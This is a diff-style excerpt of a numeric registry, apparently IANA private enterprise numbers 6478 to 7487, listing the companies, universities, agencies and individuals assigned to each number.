+6478 Shot To Shingles
+6479 Right-hand Twist
+6480 Solomon Tech. Corp.
+6481 MAGISTRAL, Ltd.
+6482 ICSynergy
+6483 Captus Networks
+6484 Campus Crusade for Christ, Inc.
+6485 Spatial Technologies
+6486 Alcatel-Lucent Enterprise (previous was 'Alcatel')
+6487 YouSync
+6488 TalentStorm Enterprises
+6489 Siemens Cerberus
+6490 DeTeMobil Deutsche Telekom MobilNet GmbH
+6491 Cytek Media Systems, Inc.
+6492 Phyve
+6493 COMTRUST
+6494 Kraft und Partner GmbH
+6495 SeeDragon Software
+6496 Cottons Car Superstore
+6497 NetEye Solutions
+6498 Maintenance One
+6499 ekit.com Pty Ltd
+6500 VA Linux Systems
+6501 Macro 4
+6502 refat
+6503 NETGEM
+6504 Navini Networks
+6505 TARGUSinfo
+6506 LiveWire Communications, Inc.
+6507 OptiMight Communications Inc.
+6508 Shanghai DigiVision Technology Co.,Ltd
+6509 Antrim Studios and Software Cellar
+6510 Pioneer Corporation
+6511 TelCom Technology
+6512 FamTek Professional Services, Inc.
+6513 Whale Communications
+6514 Innovative Systems, L.L.C.
+6515 Zvolve Systems, Inc.
+6516 Comprehensive Test Ban Treaty Organization
+6517 FlowServer
+6518 Systems Solutions of the Southern Tier, Inc.
+6519 Sabre Inc./ Sabre BTS
+6520 Dot Hill Systems
+6521 ChainLink Technologies
+6522 cv cryptovision GmbH
+6523 Bilboko Trading
+6524 Greenbytes GmbH
+6525 Jasmine Networks, Inc.
+6526 Windward Consulting Group
+6527 Nokia (formerly 'Alcatel-Lucent')
+6528 Source One
+6529 Bundesamt für Sicherheit in der Informationstechnik
+6530 2N spol. s r.o.
+6531 TeamWork Consulting
+6532 Niobrara R&D Corp.
+6533 FaceTime Communications
+6534 hp
+6535 TECORE, Inc.
+6536 NetForensics.com
+6537 Brown University
+6538 Winford Engineering
+6539 EdgeOn Systems, Inc.
+6540 Alamo Personal Computers, Inc.
+6541 Transindigo, Inc
+6542 Slamdunk Networks
+6543 AmBell
+6544 Fivesight Technologies
+6545 THINK iT
+6546 ITOCHU Techno-Solutions Corporation
+6547 Network Management Solutions, Inc.
+6548 Wavelength Digital Limited
+6549 Axxcelera Broadband Wireless
+6550 weblicon technologies AG
+6551 Hotline Communications Ltd.
+6552 Virbus AG
+6553 GHAKO FISHERIES COMPANY LIMITED
+6554 Optima Technologies, Inc.
+6555 DataFoundry.net, Inc.
+6556 Sigma Networks
+6557 dotRocket, Inc
+6558 Security Technologies Inc.
+6559 Usha Communications Technology
+6560 TelEnergy H. GmbH
+6561 P.S.K. AG
+6562 Nexland Inc.
+6563 TimeBridge Technologies
+6564 Gradient Solutions
+6565 Johns Hopkins Institutions
+6566 Metropolitan Life Insurance
+6567 Klimke Industry Consulting
+6568 Promptu Systems Corporation (formerly 'AgileTV')
+6569 INVENTEC CORPORATION
+6570 ACOMZ NETWORKS Corp.
+6571 Fusion In Tech co.,Ltd.
+6572 NETLINKS CO.,LTD.
+6573 PerVigil, Inc.
+6574 Synology Inc.
+6575 Marriott International, Inc.
+6576 Privada, Inc.
+6577 Indura Corporation
+6578 RedWave Networks
+6579 Maru Networks, Inc.
+6580 OSS Systems
+6581 Exército Brasileiro
+6582 Sigma Services Sénégal
+6583 Barone, Budge and Dominick
+6584 Bundesrechenzentrum GmbH
+6585 W-Phone Inc.
+6586 GeoworksAdam
+6587 Airvana Inc.
+6588 tietoenator
+6589 IFA Meß-, Regel- und Elektrotechnik GmbH & Co.
+6590 Keipher Solutions
+6591 Haansoft Inc.
+6592 Darin Vision Co
+6593 neoConsulting, LLC
+6594 Shijin & Co
+6595 SA Mart.com
+6596 Julie Julie
+6597 MessageHero, Inc.
+6598 Cybertron Network Solutions
+6599 Silver Bow Co.Ltd
+6600 International Charities Dep. of Taihe Travel Agency,China
+6601 IP Dynamics Inc.
+6602 Sunrise Telecom Inc.
+6603 Vitesse Semiconductors
+6604 Tosky Management Consulting Co.ltd
+6605 Euroclear Operations Centre
+6606 Platypus Technology
+6607 Radiant Networks Plc
+6608 circuLAB
+6609 Western New England University
+6610 Aditya Systems
+6611 SIGMA SERVICES SENEGAL
+6612 Juniper Financial Corp.
+6613 Millimetrix Broadband NetworksLtd.
+6614 Telecom Technologies Inc.
+6615 Clairvoyant Software
+6616 Lexica, LLC
+6617 MicroStrategy
+6618 Sonus Networks, Inc.
+6620 Global Telemann System Inc.
+6621 Department of Foreign Affairs and Trade (Australia)
+6622 secondomillennio
+6623 servizi2000
+6624 Sauro Prosperi
+6625 PVT, a.s.
+6626 Tekotelecom S.p.A.
+6627 Telematica International B.V.
+6628 Juaben
+6629 ulticom
+6630 Accuris Ltd
+6631 Bowling Green State University
+6632 DST Controls
+6633 Personal Genie, Inc.
+6634 UUNET
+6635 Cenus Technologies, Inc.
+6636 Indiana District - LCMS
+6637 Rainbow Computer Warehouse
+6638 3Ware Inc
+6639 hhl
+6640 GMV Network, LLC
+6641 Netco Systems Inc.
+6642 scommtech
+6643 IPR Systems Pty Ltd
+6644 OzAuthors Pty Ltd
+6645 gForce Systems
+6646 Chevron
+6647 Sevio Srl
+6648 Intramon Ltd
+6649 NewGrid Technology Inc.
+6650 The Distribution Systems Research Institute
+6651 FIREBONE
+6652 ID-Karta
+6653 Tyan Computer Corporation
+6654 Chic Technology Corp.
+6655 Agenetics Inc
+6656 Cauris
+6657 Courion Corporation
+6658 Koshy's Computer Academy, Edathua
+6659 Alisa
+6660 keraladotcom
+6661 Spike Broadband Systems, Inc.
+6662 S.E.S.A. AG
+6663 Janeva Interactive
+6664 Precidia Technologies
+6665 Atreus Systems Corp.
+6666 innovaphone GmbH
+6667 mediumrareJulian
+6668 To Be Or Not
+6669 Videotron ltee
+6670 Intelligent Instrumentation
+6671 Versonix
+6672 Proscend Communications Inc.,
+6673 Align Systems Pty Ltd
+6674 Mercator
+6675 News Interactive
+6676 Science Dynamics Corporation
+6677 ONELINE AG
+6678 Hyperknowledge (Europe)
+6679 Surgient Networks, Inc.
+6680 SOUTHPAW
+6681 Altea Communications Inc.
+6682 CommsHouse Ltd
+6683 AlphaTrust Corporation
+6684 eOriginal Inc.
+6685 INOVA Diagnostics, Inc.
+6686 VeCommerce (NZ) Ltd.
+6687 pAsia Inc.
+6688 National Center for Software Technology,Ministry of InformationTechnology,Government of India
+6689 Zolera Systems, Inc
+6690 OmniCluster Technologies, Inc.
+6691 UTEL
+6692 Telenisus Corporation
+6693 NetCertainty
+6694 P.G.P. s.a.
+6695 SAMS, Inc.
+6696 Niagara Mohawk Power Corporation
+6697 DOTCOM
+6698 Micronet srl
+6699 Vulcan Networks
+6700 FinGO
+6701 Creativ Network Technologies
+6702 Entrust CygnaCom
+6703 Cognitronics Corporation
+6704 Vancouver Language Institute Ltd.
+6705 Zygox, Inc.
+6706 NOAA/PMEL/EPIC
+6707 Unassigned
+6708 Handuru Telecom
+6709 Scarlet Telecom BV
+6710 South Birmingham College
+6711 Connect One
+6712 VOXTRONIC Technology
+6713 EIZO
+6714 Banco Santander Central Hispano
+6715 HTT Consulting
+6716 AMS Systems
+6717 GiantLoop Network, Inc.
+6718 Exfo Fiber Optic Test Equipment
+6719 TransComm Technology System, Inc
+6720 PT. Hariff DTE
+6721 Lodbroker Pty Ltd
+6722 comMATCH Ltd.
+6723 Internet Names UK
+6724 Cap Gemini Telecom France IPNS
+6725 Data Interchange Plc
+6726 CellPoint Systems
+6727 WINIT s.a.
+6728 Interlink Networks, Inc.
+6729 Dolby Laboratories, Inc.
+6730 Nextel Partners Inc.
+6731 WIT Soundview
+6732 Intercim Inc.
+6733 CMD Technology
+6734 WEGO, Inc
+6735 Tenebrous
+6736 Jinny Software Ltd
+6737 New Era of Networks, Inc
+6738 Riversman
+6739 Spring Yellow
+6740 Cal Poly State University
+6741 Nulli Secundus Inc
+6742 priceline.com Incorporated
+6743 Sophicomm
+6744 Dantron
+6745 LASAT Networks A/S
+6746 Aftek Infosys Ltd.
+6747 TeraBurst Networks
+6748 Up4grab. Inc
+6749 Bosung Hi-Net Co., Ltd
+6750 Gascom
+6751 Dolphin Interconnect Solutions AS
+6752 Axtronics Inc.
+6753 SysControl AG
+6754 EzGov
+6755 Rush Presbyterian St. Lukes Medical Center
+6756 Unixguy.org
+6757 Grid
+6758 SimplySay Inc.
+6759 Allcharge
+6760 Virginia Tech
+6761 Axonn Wireless Solutions
+6762 Cambridge Positioning Systems Limit
+6763 Metakernel Network Laboratories
+6764 Imagine Solutions
+6765 ML Hightower, Inc.
+6766 CPNI
+6767 RLX Technologies, Inc.
+6768 Pixelmetrix Corporation Pte
+6769 Dynamic Imaging Corporation
+6770 OpenCon Communication Systems
+6771 CyberPath Inc.
+6772 eBSure Inc.
+6773 Engineering International Corporation
+6774 University of Virginia
+6775 Cablevision
+6776 bmypc
+6777 TriGem InfoComm
+6778 AboCom Systems, Inc.
+6779 CHL NETHERLANDS B.V.
+6780 Linux Communications AS
+6781 Vast
+6782 Ciena (formerly 'Akara Inc.')
+6783 Tidepoint
+6784 JP Systems
+6785 Delta Electronics Inc.
+6786 Dreamworks SKG
+6787 NetConnect
+6788 Whitebird
+6789 OCTOGON Software Development GmbH
+6790 Finjan Software
+6791 EXE Technologies, Inc.
+6792 Active+ Software
+6793 TUIASI (previously 'UTIasi')
+6794 Adhesive Software Incorporated
+6795 Pocono Pet Sitters
+6796 TekVision Communications
+6797 ConfigureSoft, Inc.
+6798 MaxLinear Hispania S.L.U.
+6799 GlueCode, Inc.
+6800 Express Rail Link sdn Bhd
+6801 Gamma Technologies
+6802 M Design Communications
+6803 BCI (Basic Commerce and Industries, Inc.)
+6804 Weinschel Corp
+6805 PSA WORLD NET Inc.
+6806 The Pennsylvania State University
+6807 Eotvos Lorand University
+6808 Buyers Laboratory Inc.
+6809 Ontika Computersystems
+6810 MUXCOM Inc.
+6811 Nameflow
+6812 Yoda Communications, Inc.
+6813 Olympia College
+6814 ItchyFeet Networks
+6815 CyberSpacia Pty Ltd
+6816 b4
+6817 Metanate Ltd
+6818 Tripwire, Inc.
+6819 Musicfans, Inc.
+6820 Menta Software
+6821 IMT Nord Europe
+6822 University of Cambridge, Card Office
+6823 Distributed Object Technologies, Inc.
+6824 List & Niemann
+6825 iCue Systems, Inc.
+6826 Dark Matter Network Technologies, Inc.
+6827 Evertz Microsystems Ltd
+6828 Caviness Software
+6829 RAMiX Inc.
+6830 onehottmin Inc.
+6831 DSS Digital Security Service GmbH
+6832 VCHEQ.com Pte Ltd
+6833 Scarptor Network ABThomas Berghemmer or Martin Moreythomas.berghemmer&scarptor.se
+6834 sbuck networks
+6835 chello broadband austria
+6836 Felleskjøpet Agri BA
+6837 Solcom
+6838 i.g.c.
+6839 Accelight Networks
+6840 Deutsches Elektronen-Synchrotron
+6841 VYX
+6842 Telect, Inc.
+6843 Global Solution
+6844 SAT Consulting ApS
+6845 Micro Energetics Corp.
+6846 Paulosoft
+6847 Teleias, Inc
+6848 Crossbeam Systems, Inc.
+6849 Reddo Networks AB
+6850 MCCT Inc.
+6851 XOR Inc.
+6852 University of Colorado at Boulder
+6853 Television Systems Ltd
+6854 Régie Des Transports De Marseille
+6855 WNF Consulting, Inc.
+6856 LiquidLight
+6857 DigitalConvergence
+6858 Fantasma Networks
+6859 Actzero Inc
+6860 ÔøÃÛÎÄ
+6861 Druma Inc
+6862 Wapinspain.com
+6863 ZyTrax Communications, Inc.
+6864 Harmania Multimedia Inc
+6865 Elron Telesoft
+6866 Lyonnaise Communication
+6867 IPOptical, Inc.
+6868 Georgetown University
+6869 Steve Burton
+6870 Core Software Technology
+6871 CERT Coordination Center
+6872 Help/Systems, Inc.
+6873 bholdcompany
+6874 Woodwind Communications Systems, Inc
+6875 NewEarth Swedenborgian BBS
+6876 VMware Inc.
+6877 Evergreen Internet
+6878 Black Box Corp.
+6879 digiMine.com
+6880 ---none---
+6881 Kal
+6882 Micro Electronics Inc
+6883 Linux NetworX, Inc.
+6884 boco
+6885 Intelligent Telecommunications Inc.
+6886 KPN
+6887 IT-Conference
+6888 Millenium Installer
+6889 Avaya Communication
+6890 Shell Information Technology International B.V.
+6891 Acepta.com
+6892 Cnation
+6893 TurboLinux, Inc.
+6894 DataDirect Networks
+6895 Ereo, Inc.
+6896 Mahi Networks
+6897 JDV
+6898 Verance Corporation
+6899 Nanyang Technological University
+6900 Baltic Institute of Economics and Finance
+6901 AETA.COM
+6902 Plisch Gmbh & Co KG
+6903 Visoft (Pty) Ltd
+6904 IBM, Infrastructure Support Group
+6905 Brocade Communication Systems, Inc. (formerly 'Rhapsody Networks Inc.')
+6906 Asiana Communications
+6907 Broad Telecom, S.A. (Btesa)
+6908 Movaz Networks
+6909 Network Security Technologies, Inc.
+6910 Inquent Technologies
+6911 AUCS Communications Services
+6912 Morgan Stanley Dean Witter Online
+6913 Bona Technology
+6914 Timing Solutions Corporation
+6915 Computable Functions Limited
+6916 Norbert Klasen
+6917 Alternative Advice
+6918 Belle Systems A/S
+6919 Cubenet s.r.l
+6920 Think & Do Software, Inc.
+6921 Morrison Industries
+6922 Amino Communications Ltd
+6923 Shutterfly
+6924 Capital Internet, LLC
+6925 IT Communications, Kennedy Space Center (KSC)
+6926 Optical Access Inc.
+6927 MAIL.COM
+6928 Mobility Next Generation
+6929 The Root Group
+6930 Lycee Leonard de Vinci
+6931 Interessengemeinschaft Software-Engineering
+6932 Internet Content Register
+6933 Reputy
+6934 Corporation One of America, Inc.
+6935 Arachne
+6936 VICORSOFT CORPORATION
+6937 NetReliance, Inc.
+6938 Enigma Inc.
+6939 Hemp.org
+6940 Tufts University
+6941 proflash cross-media AG
+6942 James Cook University
+6943 R-Alpha Ltd.
+6944 REDSYS (formerly 'SERMEPA')
+6945 LAKE Communications
+6946 Fouche Enterprises, LLC.
+6947 Central Bank of Russia, Arkhangelsk
+6948 Tumsan Oy
+6949 Nextra BW CSP GmbH
+6950 Aztec
+6951 Freeler BV.
+6952 iBiomatics LLC
+6953 Air2Net AB
+6954 Sema Group
+6955 ComSol Kommunikationssysteme GmbH
+6956 eTopware Labs
+6957 Rapi10.net
+6958 Kent State University
+6959 bluestreak
+6960 FELIX DANZIGER INTERNATIONAL KUNSTHANDEL
+6961 tele.ring Telekom Service Gmbh
+6962 The University of Sydney
+6963 Andrews IT Engineering Ltd
+6964 Soft Teleware Inc.
+6965 RSBX
+6966 The Bright Oceans Corporation
+6967 Digismart
+6968 Systek AS
+6969 Copernicus Global Billing Services
+6970 VCON Ltd.
+6971 Ferimex IT spol. s r.o.
+6972 Canbox
+6973 Savatech Inc.
+6974 EarthLink Inc.
+6975 WaterCove Networks, Inc.
+6976 HowStuffWorks.com, Inc
+6977 Resilience Corporation
+6978 JBruce.net
+6979 KereniX
+6980 MRC Project
+6981 interQ, Inc.
+6982 Erba Holding
+6983 Sofaware Technologies
+6984 Fovea, Inc.
+6985 Jumpy Cat Systems, Inc. (formerly 'Prism Software, Inc.')
+6986 Kiodex, Inc.
+6987 WRonline GbR
+6988 University of Northern British Columbia
+6989 Extel Communications Pty Ltd
+6990 Redfern Broadband Networks
+6991 N-Space Pty Ltd
+6992 KnowNow, Inc
+6993 VirtualNet
+6994 The Midgard Project (Open Source)
+6995 c-base e.V.
+6996 WhatEverNet Computing
+6997 Yale University
+6998 Channelogics Incorporated
+6999 University of Indianapolis
+7000 NET-volution srl
+7001 Big Net, Inc.
+7002 Sebastian Crespo
+7003 CISCO-MASBU
+7004 Metodo Srl
+7005 Kagoor Networks
+7006 eyeo.com
+7007 Guangzhou Thinker Communications Technology Co., Ltd."
+7008 Discordian Alliance For Teaching
+7009 Chemtex Engineering of India Ltd
+7010 Oranje Consulting, Inc.
+7011 Prism Microsystems, Inc.
+7012 Edisontel S.p.A.
+7013 ByteSphere LLC
+7014 Adexa Inc.
+7015 Vignette Corporation
+7016 Seneca Networks
+7017 Adari TeleComp Inc
+7018 PT Multimedia
+7019 Polaris Networks, Inc.
+7020 Saecos Corporation
+7021 SysNet S.n.c.
+7022 MRZ AG
+7023 The Direct Connection Ltd
+7024 VHB Technologies, Inc.
+7025 Double D Investments
+7026 Sonera SmartTrust
+7027 Onix Microsystems Inc
+7028 Alloptic, Inc.
+7029 CUBIweb, LLC
+7030 Ethernet, Solucoes Informaticas, lda
+7031 McAfee, Inc. (formerly 'Securify, Inc.')
+7032 Chartered Semiconductor Manufacturing
+7033 Matías Software Group
+7034 inyourwake
+7035 VTT Electronics
+7036 MBDyn
+7037 Ubris
+7038 Tron Network Solutions
+7039 bison GmbH
+7040 DataLinx Inc
+7041 Integra
+7042 Permanent Vacations
+7043 Apt Computer Systems Limited
+7044 Primal
+7045 TBA Communications
+7046 Tom's NET
+7047 Flux Productions
+7048 Pico Communications, Inc.
+7049 DataNet Development Group, Inc.
+7050 Kazan State University
+7051 Epicom S.A.
+7052 Dipl.-Ing. Markus Leist
+7053 Videon CableSystems Alberta Inc.
+7054 Mazu Networks, Inc.
+7055 Cox Communications, Inc.
+7056 Senterprise Inc.
+7057 SuSE Linux AG
+7058 BB4 Technologies Inc
+7059 Complete Business Solutions - Global Health
+7060 Naikel Software
+7061 Automated Logic Corporation
+7062 Oasis Telecommunications, Inc.
+7063 Australian Defence Force Academy
+7064 UTStarcom (China) Co., Ltd Shenzhen Branch
+7065 Shimin Denshi Jouhou Mou
+7066 Dr. Srinivas
+7067 TELCO TECH GmbH
+7068 CryptoPRO
+7069 SFI Open Source Services
+7070 Narad Networks
+7071 Tele-Info-System
+7072 Ehrhart Jewelers
+7073 r00tkit.com
+7074 TheMagicProgrammer
+7075 Lothar Maronn
+7076 Australian Online Solutions
+7077 Desarrollos Digitales
+7078 True North Communications
+7079 Megisto Systems, Inc.
+7080 xeli.net
+7081 Maaslandse Unix & Linux Laboratorium (MULL)
+7082 DAIDEN CO., Ltd.
+7083 Applied Generics Ltd
+7084 Friends Provident
+7085 Cybercomm BV
+7086 GTONG Shenzhen Ltd.
+7087 KMC Technologies (formerly 'Selis Networks Inc.')
+7088 Network Systems
+7089 Centrum Arbeidsverhoudingen
+7090 El Bit Salvaje
+7091 CREN
+7092 ScienceXchange
+7093 Ericsson - Geobility
+7094 Wachovia Trust
+7095 Pert
+7096 JSEIC
+7097 LeatherXchange, S.A.
+7098 Edison Mission Energy
+7099 Ripeco Ltd
+7100 Killik & Co.
+7101 CO3i
+7102 IDEALX
+7103 SaltFire, Inc
+7104 Supervertical Sistemas
+7105 CANTV
+7106 Teleport Corp
+7107 Geocast Network Systems
+7108 Urscheler Software
+7109 City University of Hongkong
+7110 Kaashyap Radiant System ltd
+7111 Sunamerican Communication Technology Inc.
+7112 U.S. Department of Commerce
+7113 YottaYotta
+7114 Universidad de Navarra
+7115 book2eat.com limited
+7116 TechTrade International Management AB
+7117 Invertix, Inc
+7118 NetContinuum, Inc
+7119 OPNET Technologies, Inc. (formerly 'Network Physics, Inc.')
+7120 Sentry Telecom Systems Inc.
+7121 Comunicaciones Netglobalis
+7122 Lusars.net
+7123 nSOF Parallel Software Ltd.
+7124 Stand-by
+7125 Digital Creations
+7126 Positron Public Safety Systems Inc.
+7127 Nadeem Hasan
+7128 Worcester Polytechnic Institute
+7129 Lancaster University
+7130 KiddiePot.com
+7131 Orient Telecom
+7132 ELANsat TECHNOLOGIES Inc.
+7133 Corenix System Inc.
+7134 Prosolve
+7135 Comité Réseau des Universités
+7136 SysNet
+7137 Tunisie Telecom
+7138 Allaire Corporation
+7139 EchoStar Data Networks
+7140 INPG, Institut National Polytechnique de Grenoble
+7141 Freesoft
+7142 Pingtel Corp.
+7143 Entrust Technologies, Inc.
+7144 FaceTime Communications, Inc.
+7145 eve.com
+7146 Zeus Technology Ltd
+7147 Imperial Technology, Inc.
+7148 Unitree Software
+7149 Arcot Systems, Inc.
+7150 INITECH, Co.,Ltd.
+7151 r pdeshpande
+7152 CAPE Technologies Ltd.,
+7153 Foertsch EDV Beratung
+7154 Intelligent Platform Management Interface forum
+7155 neohaven.net
+7156 Princeton Networks
+7157 SC Dart IMPEX SRL
+7158 1 Global City.com, Inc.
+7159 Allianz AG
+7160 Granada Learning
+7161 Network Solutions, Inc.
+7162 Delancey Management and Consulting
+7163 Fiorano Software, Inc.
+7164 SchiZo Information Network
+7165 SAMBA Team
+7166 Peters Securities Co, L.P.
+7167 WinterTek, LLC
+7168 Eurosoft Sas
+7169 Engage, Inc.
+7170 Centell Telecommunication Company
+7171 Europesave S.A.
+7172 SPARKnet S.A.
+7173 Jiangsu University of Science and Technology
+7174 Tonic Software, Inc.
+7175 TSP Lab(Telecommunication and Signal Processing Lab.) Peter
+7176 orangefood.com
+7177 IPITEK
+7178 SANJOSEDEOCOA.COM.DO
+7179 ARIO Data Networks
+7180 Talarian Corporation
+7181 Trendium, Inc.
+7182 ypass.net
+7183 Springfield Public Schools
+7184 ---none---
+7185 Latitude Communications
+7186 BayPackets Inc
+7187 Netsystems, Inc.
+7188 Curtin University of Technology
+7189 EMS-Global
+7190 Legato Systems India
+7191 Gebrueder Weiss GmbH
+7192 ID-PRO Aktiengesellschaft
+7193 Bourse Connect
+7194 Stevens Gagnon Services Info-Techniques
+7195 Iquilibrium, Inc.
+7196 Imagine Software
+7197 Intertech
+7198 CeLight
+7199 2Bridge Software
+7200 Forebrick International
+7201 Druker Consulting
+7202 Seastem
+7203 Technology Builders, Inc.
+7204 PerformanceIT, Inc.
+7205 CoreTech Consulting Group, Inc.
+7206 Real Media, Inc
+7207 DENON DENTAL
+7208 AFCON Software and Electronics Ltd.
+7209 Societe Bryarde de Travaux Publics
+7210 WorkSpot Inc
+7211 Raiffeisen Schweiz
+7212 Raiffeisen Schweiz
+7213 Datria Systems
+7214 Virginia-Meryland Regional College of Veterinary Medicine
+7215 ABN AMRO
+7216 Institut National de la Recherche Agronomique
+7217 The University of Memphis
+7218 HBESoftware Inc.
+7219 Firedrop Inc
+7220 Shanghai Optical Networking Technology Co. Ltd.
+7221 Handlink Technologies Inc.
+7222 TIScover
+7223 ofehr.net
+7224 Netarchitects SA
+7225 Spacechecker nv
+7226 Micro F/X
+7227 Centre Informatique National de l'Enseignement Superieur
+7228 The Web Foundry Limited
+7229 Vogeler Enterprise Architectures
+7230 Eastern Michigan University
+7231 MidStream Technologies
+7232 VR1 Entertainment
+7233 SierraCities.com
+7234 KORE
+7235 eRadlink
+7236 SIMM-Comm
+7237 Aaronsen Group, Ltd.
+7238 OM Technology
+7239 LEGRAND
+7240 Princeton Networks Inc
+7241 Inter.net
+7242 QwicNet, Inc.
+7243 ZIVO Wellington
+7244 Quanta Computer Inc.
+7245 Northern Districts In-Line Hockey Club
+7246 Project X Consulting Ltd
+7247 Nexsan Technologies, Ltd.
+7248 HyperTrust
+7249 Manage-IT
+7250 Viewgraphics
+7251 SPC solutions s.r.o.
+7252 Institut Mondor de Médecine Moléculaire
+7253 StreamCache
+7254 Intronix Corporation
+7255 PointOne Telecommunications, Inc.
+7256 Geyser Networks, Inc.
+7257 Mar-Net Ltd.
+7258 Centre national de Documentation Pedagogique
+7259 OULLIM Information Technology, Inc.
+7260 Opthos Inc.
+7261 InfoSpace
+7262 DragonWave
+7263 Litt Productions Ltd.
+7264 ---none---
+7265 Interactive Portal, Inc.
+7266 Softfront
+7267 BroadLink Technologies, Inc.
+7268 Axiavoice Software
+7269 University of Klagenfurt
+7270 Supanet Limited
+7271 TuxWarp
+7272 RedSiren Technologies Inc.
+7273 When Pigs Fly Club
+7274 CITY OF WILLCOX
+7275 Amsterdamse Hogeschool voor de Kunsten
+7276 Parabon Computation, Inc.
+7277 PolyServe,Inc.
+7278 Digital Archway
+7279 Zembu Labs
+7280 Vodafone Network Pty Ltd Australia
+7281 Socix Business Internet Software Co., Ltd
+7282 Superchannel ApS
+7283 Defence Science & Technology Agency
+7284 Asita Technologies
+7285 Hutchison Ports UK Limited
+7286 betanet
+7287 Premier Programming Ltd
+7288 ActiveSky Inc.
+7289 Visual Analysis AG
+7290 Samjung Data Service LTD.,CO.
+7291 LUTEUS SARL (formerly 'Lecointe Ludovic')
+7292 Krone Multimedia Ges.m.b.H Co KG
+7293 POWERCOM CO., Ltd.
+7294 Société Générale de Téléinformatique
+7295 plan b. solutions GmbH
+7296 eFORCE, Inc.- New York
+7297 Adventist Care Centers
+7298 Yuma Educational Consortium
+7299 Valence Semiconductor, Inc.
+7300 Bangladesh Consultants Ltd.
+7301 Kinzebach
+7302 Medsys
+7303 Byg Informatique
+7304 WWW. DEPARTMENTSTORE
+7305 esurvey
+7306 Boku, Inc.
+7307 PonyExpress.net
+7308 Zaantek, LLC
+7309 Argus Technologies
+7310 EnStor
+7311 T-Systems Enterprise Services GmbH
+7312 BARCO Control Rooms
+7313 1stWAVE
+7314 CodeWeavers, Inc
+7315 CAB Software
+7316 Bridge Solutions AG
+7317 Mobile Reach Technologies, Inc.
+7318 Sinia Corporation
+7319 Universite de Toulon et du Var
+7320 Ivron Systems Ltd
+7321 connext
+7322 Tiburon Networks, Inc
+7323 Voicecom
+7324 Chambre Syndicale des Banques Populaires
+7325 Redeye Telecommunications
+7326 MCI
+7327 WaveSmith Networks
+7328 MatrixOne, Inc.
+7329 Virtual Learn Inc
+7330 Bundesanstalt fuer Wasserbau
+7331 DDS Projects BV
+7332 DiviTech A/S
+7333 E-Cottage Industries
+7334 The San Joaquin Valley Science Collective
+7335 eXperts-MD
+7336 6WIND
+7337 Lipro AG
+7338 Paramhamsa Tech
+7339 GeneralSearch.com
+7340 Northwestern University
+7341 University of Alabama at Birmingham
+7342 Omnitron Systems Technology
+7343 BroadConnex Networks, Inc.
+7344 Jedai Broadband Networks
+7345 Learnsoft Corporation
+7346 Uni-C
+7347 Point Reyes Networks, Inc.
+7348 Torren Software Company
+7349 Hangzhou Torren Software Company
+7350 Belkamneft
+7351 TeleDanmark Development
+7352 Gilat Satellite Networks
+7353 Datel Defence Limited
+7354 Vesper S.A.
+7355 Hass Asscoiates
+7356 Gateway to the Web
+7357 scroner.com
+7358 POV Corp.
+7359 SteelEye Technology
+7360 Telecom Personal
+7361 Certificado Digital S.A.
+7362 Department Land, Air and Water Resources,University of California,Davis
+7363 Prominence Networks Inc.
+7364 IMS Health
+7365 Easily Ltd
+7366 MarketTouch
+7367 DrayTek Corporation
+7368 FalconStor, Inc.
+7369 Suncom Communications
+7370 Cbeyond Communications
+7371 INSERM
+7372 Cratos Networks, Inc
+7373 Narad Networks Inc.
+7374 C&D Micro Solutions
+7375 iSOFT Plc
+7376 Magenta Sites
+7377 Ubiquity Software Corporation
+7378 FireSummit
+7379 Soliton Technologies CO.,
+7380 Shore Corporation
+7381 OWL-Online GmbH & Co. KG
+7382 JustIT Sdn. Bhd.
+7383 LIBERTECH
+7384 CryptoTech
+7385 Celox Networks Inc.
+7386 Cake Farm
+7387 Canon Information Systems Research Australia
+7388 Lune Networks
+7389 VDSL Systems Oy
+7390 Grisoft
+7391 Institut National des Telecommunications (INT)
+7392 Telispark
+7393 Oasys Telecom, Inc.
+7394 CosmoCom, Inc.
+7395 Beeline Networks, Inc.
+7396 OLYMPO controls Ltd.
+7397 OnePage, inc
+7398 Corporation 124
+7399 Data Systems West
+7400 EHI-INSM
+7401 EkotaCentral
+7402 Vigor Soft Private Limited
+7403 Biomed Translations Ltd.
+7404 D.J. Williams Editorial Ltd.David
+7405 IPS d.o.o.
+7406 EFS : Etablisssement Francais du Sang
+7407 Observatoire de Besancon
+7408 Kunskapstv i Sverige AB
+7409 Jan Niehusmann
+7410 Telekurs Financial
+7411 Finix
+7412 Angstrom Microsystems
+7413 Computer Service Depot
+7414 Muffett & Co
+7415 Berlin-Brandenburgische Akademie der Wissenschaften
+7416 Software Advanced Technology Lab
+7417 Cornell University
+7418 Procket Networks
+7419 Dai hoc su pham ky thuat
+7420 Taylor Company
+7421 Milcom Systems Corporation
+7422 Currenex
+7423 MedPlus, Inc.
+7424 Infosec Technologies Co., Ltd.
+7425 Company of the Far Countries, Ltd.
+7426 NeST Information Technologies
+7427 Yokogawa Electric Corporation
+7428 PowerDsine
+7429 BroadWeb Corporation
+7430 mediascape communications AG
+7431 Altiva Solutions
+7432 Excentis
+7433 SITTI spa
+7434 Planetasia Ltd
+7435 T.K COMPANY
+7436 Oxir Internet Solutions
+7437 Siemens ICN Italy
+7438 SAFE. Inc
+7439 AppStream, Inc.
+7440 Omnitech Computer Corp
+7441 CipherTrust, Inc.
+7442 Idaho National Engineering and Environmental Laboratory
+7443 EVEREX COMMUNICATION
+7444 Imagine Networks
+7445 Javelina Software
+7446 Institute of Leadership and Management
+7447 Signal Technology INC
+7448 Advanced Training & Consulting Services, Inc.
+7449 WHAM COMPUTER
+7450 Framfab
+7451 nSYS Technologies Co., Ltd
+7452 Guangzhou Gaoke Communication Equipment Co., Ltd
+7453 Turtlefoot International
+7454 OKsystem Ltd.
+7455 dev/consulting GmbH
+7456 Virtual Net
+7457 ZAO EMAX
+7458 Clemens Benden
+7459 memIQ
+7460 XS4ALL Internet B.V.
+7461 Page One AG
+7462 Nordnorsk helsenett
+7463 white.cell,inc
+7464 ECMWF (European Centre for Medium-Range Weather Forecast)
+7465 WISI
+7466 CLI GmbH
+7467 TTi Systems
+7468 Mixbaal
+7469 VoiceGenie Technologies
+7470 Princeton Financial Systems
+7471 Discreet Communications Group
+7472 MShow.com
+7473 easyplanet Corp.
+7474 Inabled Online
+7475 Shanghai Bell Company Ltd.
+7476 Departamento General de Irrigacion
+7477 Unk SA - Argentina
+7478 NetCraft Sdn Bhd
+7479 Triad Development Group NA, LLC
+7480 @MySpend.Com
+7481 Talon
+7482 Widax Corporation
+7483 Nokia (Formerly 'Alcatel-Lucent')
+7484 Teleias Inc.
+7485 SPS, Inc.
+7486 Embassy Systems, Ltda.
+7487 MEISolutions.com, Inc.
